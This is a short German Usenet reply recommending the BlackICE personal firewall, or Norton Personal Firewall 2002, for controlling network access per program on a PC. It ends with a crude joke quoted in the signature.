>einzelne Dienste wegnehmen kann?
Schau Dir mal Blackice von Networkice an. Da kannst Du fast jeder
einzelnen Datei auf Deinem Rechner Zugrif erlauben bzw. verbieten.
http://www.networkice.com/
Alternativ evtl. Norton PF 2002.
Die Blackice gibt´s glaube ich als trial.
HTH
Karsten
--
Bei einer Billigtastatur hab' ich immer so ein Gefuehl, als hacke ich
in lauwarmer Kotze rum. (Hans Bonfigt, de.org.ccc, 25.8.1999)